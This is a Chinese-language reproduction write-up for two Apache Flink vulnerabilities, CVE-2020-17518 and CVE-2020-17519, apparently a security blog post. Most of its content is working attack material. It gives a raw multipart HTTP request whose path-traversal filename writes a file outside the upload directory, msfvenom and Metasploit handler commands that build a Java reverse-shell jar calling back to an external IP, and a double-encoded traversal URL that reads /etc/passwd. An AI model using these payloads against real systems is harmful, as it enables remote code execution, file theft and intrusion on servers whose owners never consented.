Apache Flink漏洞复现CVE-2020-17518/17519
Apache Flink漏洞复现
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。
CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。
CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。
影响版本
CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2
漏洞复现
任意文件上传(CVE-2020-17518)复现:
构造上传包可以上传文件到任意目录。
POST /jars/upload HTTP/1.1
Host: docker.h-k.pw:57767
Content-Length: 224
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjGw9ieKoYNMEupLC
Origin: http://docker.h-k.pw:57767
Referer: http://docker.h-k.pw:57767/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176ad07b2401f2-0c7e80761c03b7-c791039-100200-176ad07b241383
Connection: close
------WebKitFormBoundaryjGw9ieKoYNMEupLC
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/QAX"
Content-Type: application/octet-stream
QAXNB!
------WebKitFormBoundaryjGw9ieKoYNMEupLC--
虽然返回错误,但是实际上是已经上传成功了的。
能上传没有什么实质性的危害,但是了解到Flink可以上传任意jar包并执行,尝试一下能不能直接反弹shell。研究了半个小时之后,发现CS不知道什么原因无法上线,最终选择使用MSF上线成功。
首先使用msf内置模块生成一个马
#生成马
msfvenom -p java/shell_reverse_tcp lhost=129.226.x.x lport=8099 -f jar >/home/a.jar
#监听端口
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 129.226.x.x
set LPORT 8099
exploit
然后按照下图方式操作
接着就能上线了
任意文件读取(CVE-2020-17519)复现:
任意读取文件
http://docker.h-k.pw:57767//jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd